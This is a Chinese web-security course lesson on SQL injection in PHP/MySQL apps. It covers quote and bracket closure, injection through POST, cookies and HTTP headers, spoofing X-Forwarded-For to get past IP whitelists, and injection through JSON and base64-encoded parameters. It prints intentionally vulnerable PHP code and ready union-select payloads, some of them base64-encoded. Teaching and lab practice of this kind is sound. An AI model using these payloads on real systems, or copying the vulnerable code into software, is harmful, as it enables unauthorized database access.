043-WEB攻防-PHP应用SQL注入符号拼接请求方法HTTP头JSON编码类

043-WEB攻防-PHP应用&SQL注入&符号拼接&请求方法&HTTP头&JSON&编码类

#知识点:

1、PHP-MYSQL-SQL注入-数据请求类型
2、PHP-MYSQL-SQL注入-数据请求方法
3、PHP-MYSQL-SQL注入-数据请求格式

演示案例:

➢PHP-MYSQL-数据请求类型
➢PHP-MYSQL-数据请求方法
➢PHP-MYSQL-数据请求格式

#PHP-MYSQL-数据请求类型

  • SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句
  • 大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况
  • 究其原因大部分都是原SQL语句的未知性导致的拼接失败!
    由于开发者对于数据类型和SQL语句写法(框架写法)导致SQL注入拼接失败

1、数字型(无符号干扰)

select * from news where id=$id;

2、字符型(有符号干扰)

  • select * from news where id=‘$id’;

    • 有**‘’**干扰,则会阻碍注入的SQL语句拼接

      Untitled

    • 使用**‘—+’‘**闭合掉

    • id=1'union select 1,2,3,4,5,6--+

    Untitled

3、搜索型(有多符号干扰)

  • select * from news where id like ‘%$id%’

    • '% %'干扰,则会阻碍注入的SQL语句拼接

    Untitled

    • id=1**%'** union select 1,2,3,database(),5,6**–+and ‘%’=’**

    Untitled

4、框架型(有各种符号干扰)

  • select * from news where id=(‘$id’);
  • “select * from news where (id=‘$id’) limit 0,1” ;
    • (’ ')或 limit 0,1干扰,则会阻碍注入的SQL语句拼接

Untitled

  • id=1**')** union select 1,2,3,database(),5,6**--+**

Untitled

#PHP-MYSQL-数据请求方法

全局变量方法:GET POST SERVER FILES HTTP头等

User-Agent:
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:
网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

1.GET、POST 和 Cookie REQUEST 都可以进行数据请求,发生注入

  1. $g=$_GET['g'];: 从 URL 中的 GET 请求中获取参数 ‘g’ 的值,并将其赋给变量 $g

    Untitled

  2. $p=$_POST['p'];: 从 POST 请求中获取参数 ‘p’ 的值,并将其赋给变量 $p

    Untitled

  3. $c=$_COOKIE['c'];: 从客户端的 Cookie 中获取名为 ‘c’ 的值,并将其赋给变量 $c

    Untitled

  4. $r=$_REQUEST['r'];: 从 GET、POST、COOKIE 中获取参数 ‘r’ 的值,并将其赋给变量 $r$_REQUEST 包含了从客户端发送的所有数据,包括 GET、POST 和 Cookie 中的数据。

    <?php
    $g=$_GET['g'];
    $p=$_POST['p'];
    $c=$_COOKIE['c'];
    $r=$_REQUEST['r'];
    

2.Forwarded-For,Rerferer,Host间接查询发生注入

  • **User-Agent:**
    使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中

    • 将抓包到的内容:**User-Agent:进行修改 xxxxx,页面回显也同时变更为xxxxx**

    Untitled

    Untitled

  • Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件**[通过修改XXF头可以实现伪造IP]**)X-Forwarded-for:1.101.1.11

    Untitled

    Untitled

  • Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.

    • 将百度的任意一个可触发按钮,连接值(网址)修改后,数据回显,出现**Rerferer**

    Untitled

    Untitled

  • Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

<?php
**// 获取用户代理信息
$ua = $_SERVER['HTTP_USER_AGENT'];**

**// 获取 X-Forwarded-For 头部的值,表示客户端的原始 IP 地址
$xff = $_SERVER['HTTP_X_FORWARDED_FOR'];**

**// 获取 HTTP 请求头中的主机信息
$host = $_SERVER['HTTP_HOST'];**

**// 获取 HTTP 请求头中的 Referer 信息,表示请求的来源页面
$re = $_SERVER['HTTP_REFERER'];**

// 输出用户代理信息
echo $ua . "<br>";
// 输出 X-Forwarded-For 头部的值
echo $xff . "<br>";
// 输出主机信息
echo $host . "<br>";
// 输出 Referer 信息
echo $re . "<br>";
?>

1、用户登录时post数据请求→实现注入

  • 打开对应的post表单提交网址(后台登录页面)

  • 分别开启代理,使用burp抓包

    Untitled

    Untitled

  • 将抓到的包,发送至Repeater,开始进行注入

    1. 由于用户名admin是个字符串,所有需要在后面加上‘去闭合单引号

    2. 防止引起注入的SQL语句拼接失败

    3. username=admin**‘ order by 4--+&password=4546456456**

    4. order by 4--+ 是去手动注入,猜测列数的方式,

    5. 通过不断的更改值,并查看返回的Content-Length: 1789 数值

    6. 发现当值等于5的时候有变化,则证明列数应该是4列(存在注入点)

    7. username=admin'union select 1,database(),version(),4 --+&password=4546456456 拼接注入语句,分别查询数据库名和数据库版本信息

      Untitled

      Untitled

      Untitled

    Untitled

2、登录判断IP时→是PHP特性中的$_SERVER[‘HTTP_X_FORWARDED_FOR’];接受IP的绕过(绕过)

  • PHP 函数,旨在获取客户端的 IP 地址

    <?php
    // 定义名为 getip 的函数
    function getip() {
        // 检查是否存在 HTTP_CLIENT_IP,并且其值不是 "unknown"
        if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) {
            $ip = getenv("HTTP_CLIENT_IP");
        } 
        // 检查是否存在 HTTP_X_FORWARDED_FOR,并且其值不是 "unknown"
        **else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) {
            $ip = getenv("HTTP_X_FORWARDED_FOR");
        }** 
        // 检查是否存在 REMOTE_ADDR,并且其值不是 "unknown"
        else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) {
            $ip = getenv("REMOTE_ADDR");
        } 
        // 检查是否存在 $_SERVER['REMOTE_ADDR'],其值不为空,并且不是 "unknown"
        else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) {
            $ip = $_SERVER['REMOTE_ADDR'];
        } 
        // 如果上述条件都不满足,则将 IP 地址设置为 "unknown"
        else {
            $ip = "unknown";
        }
        
        // 返回获取到的 IP 地址
        return $ip;
    }
    ?>
    
  • 用于验证用户登录的部分,通过获取用户的 IP 地址,然后根据 IP 地址从数据库中检索相应的用户信息

    <?php
    // 调用之前定义的获取 IP 地址的函数
    $ip = getip();
    //echo $ip; // 如果需要调试可以打印出 IP 地址
    
    // 判断是否设置了 $username 变量
    if(isset($username)){
        // 判断用户的 IP 是否在数据库中,可能涉及到 IP 地址验证和拦截一些不合法请求的目的
        // 注意:这种方式仅是简单的示例,实际应用中需要更复杂的逻辑和安全措施
    
        **// 构造 SQL 查询语句,查询数据库中是否有对应 IP 地址的用户信息
        $sql = "SELECT * FROM admin WHERE ip='$ip'";**
        
        // 执行 SQL 查询
        $data = mysqli_query($con, $sql);
        
        // 判断查询结果是否存在符合条件的记录
        if(mysqli_num_rows($data) > 0){
            // 遍历查询结果集中的每一行
            while ($row = mysqli_fetch_row($data)) {
                echo "Username: " . $row[0] . "<br>";
                echo "Password: " . $row[1] . "<br>";
                echo "ID: " . $row[2];
            }
        } else {
            // 如果没有符合条件的记录,输出拒绝访问的提示
            echo "<script>alert('拒绝访问')</script>";
        }
    }
    ?>
    
  • 如上代码实现,如果不是数据库中的ip地址,则始终不能访问

    Untitled

    • 只有对应是数据库的ip才可以进行访问

    Untitled

    Untitled

实现:数据库白名单IP去判断-select注入
  • 由于上方代码实现判断ip,限制访问→**[通过修改XXF头可以实现伪造IP]**)

    Untitled

    • 注意:在源码中SQL语句格式:$sql="select * from admin where ip='$ip'";

      • '$ip'单引号可能会造成SQL语句拼接失败,需要注意
    • 抓取对应包,发送至Repeater

      Untitled

      Untitled

Untitled

  • X-Forwarded-for:dasdadsa' union select 1,database(),user(),4 and '1'='1

    • 添加以上代码,并发送,查看回显数据
    • 成功注入

    Untitled

遇到问题:回显数据发生报错,Warning mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given

原因:注入语句有错误**and '1'='1' 多加了一个**

解决:写为正确的注入语句即可X-Forwarded-for:dasdadsa' union select 1,database(),user(),4 and '1'='1

Untitled

实现:代码配置固定IP去判断-策略绕过

ip在代码中写死

if(isset($username)){
   **//绕过隐患 ip放在配置文件或代码申明中
    if($ip=='127.0.0.1')**{
        echo "<script>alert('可以登录')</script>";
    }
    else{
        echo "<script>alert('拒绝访问')</script>";
    }
  • 通过抓包,抓取到对应的包

Untitled

  • 将抓包的内容加入:**X-Forwarded-for:127.0.0.1 成功登录→绕过IP检测**

Untitled

Untitled

3、文件上传将文件名写入数据库-insert注入

实现:防注入记录IP去保存数据库-insert注入

Untitled

#PHP-MYSQL-数据请求格式

1、数据采用统一格式传输,后端进行格式解析带入数据库(json)

  • 普通字符串格式

    Untitled

  • json格式,需要在代码中设置

    **// 将 JSON 数据解码为 PHP 数组
    $data = json_decode($jsonData, true);**
    // 在此处处理登录逻辑
    $username = $data['username'];
    $password = $data['password'];
    
    **$sql="select * from admin where username='$username' and password='$password'";**
    $data=mysqli_query($con,$sql);
    $rowcount=mysqli_num_rows($data);
    

Untitled

  • $sql="select * from admin where username='$username' and password='$password'";

    • '$username''$password'单引号可能会造成SQL语句拼接失败,需要注意
  • 执行注入:首先抓包

    • 进行一一判断,获取对应的列数(4)
    • 实行注入:admin'union select 1,database(),version(),4 #

    Untitled

Untitled

Untitled

2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)

  • 代码如下:SQL语句中进行使用base64加密数值

    <?php
    // 引入数据库配置文件
    include '../config.php';
    
    // 读取HTML模板文件内容
    $template = file_get_contents('new.html');
    
    // 获取GET参数'id',如果不存在则默认为'MQ=='
    $id = $_GET['id'] ?? 'MQ==';
    
    **// 使用base64解码获取的'id'参数
    $bid = base64_decode($id);
    
    // 构造SQL查询语句,根据解码后的'id'查询数据库中的新闻信息
    $sql = "SELECT * FROM news WHERE id='$bid'";**
    $data = mysqli_query($con, $sql);
    
  • $sql = "SELECT * FROM news WHERE id='$bid'"

    • '$bid' :单引号可能会造成SQL语句拼接失败,需要注意
  • 执行注入:首先将加密的数值用判定的方式解密出来

    • 确定了加密方式后,先构造出注入的SQL语句

    • 然后使用(base64)加密方式进行转换,最后在目标上实行注入操作

      • 3’ union select 1,2,3,4,5,6 and ‘1’='1

      • MycgdW5pb24gc2VsZWN0IDEsMiwzLDQsNSw2IGFuZCAnMSc9JzE=

      • 3’ union select 1,2,3,database(),5,6 and ‘1’='1

      • MycgdW5pb24gc2VsZWN0IDEsMiwzLGRhdGFiYXNlKCksNSw2IGFuZCAnMSc9JzE=

        Untitled

        Untitled

        Untitled

        Untitled

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/403570.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

java替换jar中的class文件

1、编译好class文件2、找到需要修改class文件的路径3、解压需要替换的文件4、上传编译后的class文件5、重新压缩 在调整java代码过程中会遇到需要改jar包中的class文件的情况&#xff0c;改了如何替换呢&#xff1f; 1、编译好class文件 将需要修改的class文件代码复制到java编…

第四套CCF信息学奥赛c++ CSP-J认证初级组 中小学信奥赛入门组初赛考前模拟冲刺题(选择题)

第四套中小学信息学奥赛CSP-J考前冲刺题 1、在网络上,若某台电脑的设备及数据可由其他电脑共享,这台电脑称为 A、个人服务器 B、主机 C、副机 D、服务器 答案&#xff1a;D 考点分析&#xff1a;主要考查网络相关知识&#xff0c;网络上这样的电脑统称为服务器&#xff0…

mac/windows git ssh 配置多平台账号(入门篇)

目录 引子多账号多平台配置git一、.ssh文件夹路径1.1 mac 系统1.2 windows 系统 二、生成new ssh2.1 mac系统2.2 windows 系统 三、配置 config四、验证五、用ssh方式拉取远程仓库代码 引子 push代码到github仓库时&#xff0c;提示报错。 Push failed Remote: Support for pa…

【自然语言处理】:实验5,司法阅读理解

清华大学驭风计划课程链接 学堂在线 - 精品在线课程学习平台 (xuetangx.com) 代码和报告均为本人自己实现&#xff08;实验满分&#xff09;&#xff0c;只展示主要任务实验结果&#xff0c;如果需要详细的实验报告或者代码可以私聊博主 有任何疑问或者问题&#xff0c;也欢…

Unity接入SQLite (一):SQLite介绍

1.简介 SQLite是一个开源的嵌入式关系数据库管理系统。它是一种轻量级的数据库引擎&#xff0c;不需要单独的服务器进程&#xff0c;可以直接嵌入到应用程序中使用。Sqlite使用简单、高效&#xff0c;并且具有对标准SQL的完整支持。它适用于需要在本地存储和访问数据的应用程序…

hash,以及数据结构——map容器

1.hash是什么&#xff1f; 定义&#xff1a;hash,一般翻译做散列、杂凑&#xff0c;或音译为哈希&#xff0c;是把任意长度的输入&#xff08;又叫做预映射pre-image&#xff09;通过散列算法变换成固定长度的输出&#xff0c; 该输出就是散列值。这种转换是一种压缩映射&…

Maven depoly:Skipping artifact deployment

问题描述&#xff1a; 使用IDEA执行mvn depoly将本地开发的模块发布到Maven私服时&#xff0c;一直提示&#xff1a;Skipping artifact deployment&#xff0c;自动跳过了depoly部署阶段。 问题分析 Maven构建生命周期中的每一个阶段都是由对应的maven插件执行具体工作的。既然…

linux运维xshell同时控制多个窗口的快捷方式

下面去实现同时操作的功能。 1. 找到 工具- 2. 根据需要&#xff0c;选择需要操作的窗口即可。 以上就是对xshell中同时操作多个窗口的方法

【k8s核心概念与专业术语】

k8s架构 1、服务的分类 服务分类按如下图根据数据服务支撑&#xff0c;分为无状态和有状态 无状态引用如下所示&#xff0c;如果一个nginx服务&#xff0c;删除后重新部署有可以访问&#xff0c;这个属于无状态&#xff0c;不涉及到数据存储。 有状态服务&#xff0c;如redis&a…

四、矩阵的分类

目录 1、相等矩阵 2、同形矩阵 3、方阵&#xff1a; 4、负矩阵、上三角矩阵、下三角矩阵&#xff1a; 5、对角矩阵&#xff1a;是方阵 ​编辑7、单位矩阵&#xff1a;常常用 E或I 来表示。它是一个方阵 8、零矩阵&#xff1a; 9、对称矩阵&#xff1a;方阵 1、相等矩阵 …

力扣经典题目解析--两数之和

两数之和 题目地址: 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 简单来说就是在一个数组中找出两个数&#xff0c;这两个数相加要等于给定的target,下面是完整的题目: 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中…

阿里云SSL免费证书到期自动申请部署程序

阿里云的免费证书只有3个月的有效期&#xff0c;不注意就过期了&#xff0c;还要手动申请然后部署&#xff0c;很是麻烦&#xff0c;于是写了这个小工具。上班期间抽空写的&#xff0c;没有仔细测试&#xff0c;可能存在一些问题&#xff0c;大家可以自己clone代码改改&#xf…

(done) 矩阵的对角化,以及是否可对角化的判断、还有对角化的本质。相似对角化计算过程

相似对角化 和 对角化 很大程度上是一回事 甚至判断两个矩阵的相似性&#xff0c;也跟对角化有很大关系 参考视频1&#xff1a;https://www.bilibili.com/video/BV1PA411T7b5/?spm_id_from333.788&vd_source7a1a0bc74158c6993c7355c5490fc600 参考视频2&#xff1a;http…

【移动安全】MobSF联动安卓模拟器配置动态分析教程

原文链接 MobSF联动安卓模拟器配置动态分析教程 实现方式 Windows开启安卓模拟器并进行相关配置作为调试客户端&#xff0c;Linux使用docker开启MobSF作为服务端。 好处&#xff1a;干净&#xff0c;部署简单&#xff0c;不用安装乱七八糟的环境&#xff0c;防止破坏其他应…

最新YOLOv9论文理论:使用可编程梯度信息学习您想学习的内容 | Programmable Gradient Information

YOLOv9: Learning What You Want to Learn Using Programmable Gradient Information YOLOv9 论文地址&#xff1a;https://arxiv.org/pdf/2402.13616.pdf 摘要 当今的深度学习方法侧重于如何设计最合适的目标函数&#xff0c;以便模型的预测结果最接近真实情况。同时&…

CSS轻松学:简单易懂的CSS基础指南

css基础 更多web开发知识欢迎访问我的专栏>>> 01-CSS初体验 层叠样式表 (Cascading Style Sheets&#xff0c;缩写为 CSS&#xff09;&#xff0c;是一种 样式表 语言&#xff0c;用来描述 HTML 文档的呈现&#xff08;美化内容&#xff09;。 书写位置&#xff1a;…

Qt事件过滤器

1. 事件过滤器 void QObject::installEventFilter(QObject *filterObj) bool eventFilter(QObject *obj, QEvent *event); filterObj表示事件筛选器对象&#xff0c;它接收发送到此QObject对象&#xff08;安装事件过滤器的部件对象&#xff09;的所有事件。筛选器可以停止事件…

【Oracle】玩转Oracle数据库(四):SQL语言

前言 嘿&#xff0c;各位数据达人们&#xff01;准备好迎接新的挑战了吗&#xff1f;今天&#xff0c;我们要探索的是数据库世界的魔法咒语——SQL语言&#xff01;&#x1f52e;&#x1f4bb; 在这篇博文【Oracle】玩转Oracle数据库&#xff08;四&#xff09;&#xff1a;SQL…

ssm+springmvc基于springboot的宠物领养系统的设计与实现_j5fk4

宠物领养系统主要是为了提高管理员的工作效率&#xff0c;满足管理员对更方便、更快、更好地存储所有信息和数据检索功能的要求。通过对多个类似网站的合理分析&#xff0c;确定了宠物领养系统的各个模块。考虑到用户的可操作性&#xff0c;经过深入调查研究&#xff0c;遵循系…

Web 前端 UI 框架Bootstrap简介与基本使用

Bootstrap 是一个流行的前端 UI 框架&#xff0c;用于快速开发响应式和移动设备优先的网页。它由 Twitter 的设计师和工程师开发&#xff0c;现在由一群志愿者维护。Bootstrap 提供了一套丰富的 HTML、CSS 和 JavaScript 组件&#xff0c;可以帮助开发者轻松地构建和定制网页和…